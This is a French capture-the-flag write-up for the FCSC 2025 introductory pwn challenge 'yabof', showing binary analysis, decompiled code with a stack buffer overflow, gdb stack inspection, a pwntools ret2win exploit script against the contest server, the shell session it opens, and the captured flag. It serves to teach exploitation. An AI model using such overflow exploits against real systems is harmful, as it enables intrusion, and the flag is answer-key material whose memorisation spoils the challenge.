Solution de mk_4362 pour yabof

intro pwn x86/x64

29 avril 2025

On a quoi ?

Un challenge d’introduction qui nous propose un buffer overflow, ça devrait le faire.

Et un fichier binaire.

On comprend quoi ?

On commence par analyser un peu ce binaire

$ file yabof
yabof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ed1488a26769a031c38d3417ad456eefb8dc5ef0, for GNU/Linux 3.2.0, not stripped
$ checksec --file=yabof
[*] '/home/mk/ctf/fcsc_2025/pwn/yabof/yabof'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Quelques points à noter :

  • x86_64
  • pas de sécurités activées hormis la stack non exécutable (NX), donc pas de shellcode sur la stack.

On peut le décompiler et regarder son fonctionnement :

void yabof(void)
{
  execve("/bin/sh",(char **)0x0,(char **)0x0);
  return;
}

void vuln(void)
{
  char user_choice [8];
  
  puts("Do you want to get a drink (y/N)?");
  __isoc99_scanf(&%s,user_choice);
  if (user_choice[0] == 'y') {
    puts("Here, cheers!");
  }
  return;
}

int main(void)
{
  vuln();
  return 0;
}

Le programme :

  • dès le main() appelle une fonction vuln() … bien nommée, nous aurons donc une nouvelle stack frame avec la possbilité d’écraser la sauvegarde de l’adresse de retour de vuln()
  • on voit bien la fonction yabof() qui nous offre un shell
  • quant à vuln(), elle lit une sasie utilistaeur sans en vérifier la taille pour la stocker dans un buffer de 8 octets sur la stack

Que faire ?

C’est plus que très classique, PIE n’est pas activé on connait donc l’adresse de yabof(), on va entrer une saisie assez longue pour déborder de user_choice[8] et se terminant par l’adresse de yabof() pour qu’elle écrase sur la stack la sauvegarde de RIP (adresse de retour de vuln() dans le main)

Comment

Regardons la stack de vuln() juste après la saisie de l’utilisateur

gef➤  x/10gx $rsp
0x7fffffffdc20:	0x0000000000000000	0x4141414141414141  <= buffer
0x7fffffffdc30:	0x00007fffffffdc00	0x00000000004011c0  <= saved RIP
0x7fffffffdc40:	0x0000000000000001	0x00007ffff7df124a
0x7fffffffdc50:	0x0000000000000000	0x00000000004011b2
0x7fffffffdc60:	0x0000000100000000	0x00007fffffffdd58
gef➤  x/x 0x00000000004011c0
0x4011c0 <main+14>:	0x00c35d00000000b8    <= retour dans le main
gef➤  

Adresse de yabof() : 0x401146 (on regarde dans gdb, ou objdump)

Il faut donc remplir user_choice[8] puis écraser la sauvegarde de RBP (8 octets) avant d’écraser la sauvegarde de RIP.

from pwn import *

HOST = "chall.fcsc.fr"
PORT = 2109

s = connect(HOST, PORT)

yabof = 0x00401146
payload = b'A' * 16
payload += p64(yabof)

s.recv()
s.sendline(payload)
s.interactive()
$ python3 exp.py
[+] Opening connection to chall.fcsc.fr on port 2109: Done
[*] Switching to interactive mode
$ ls
flag.txt
yabof
$ cat flag.txt
FCSC{e5352ecae8f1ad7f0e7b4225c1fb975e9cfebfac482c2b4a9dd25661a0e49296}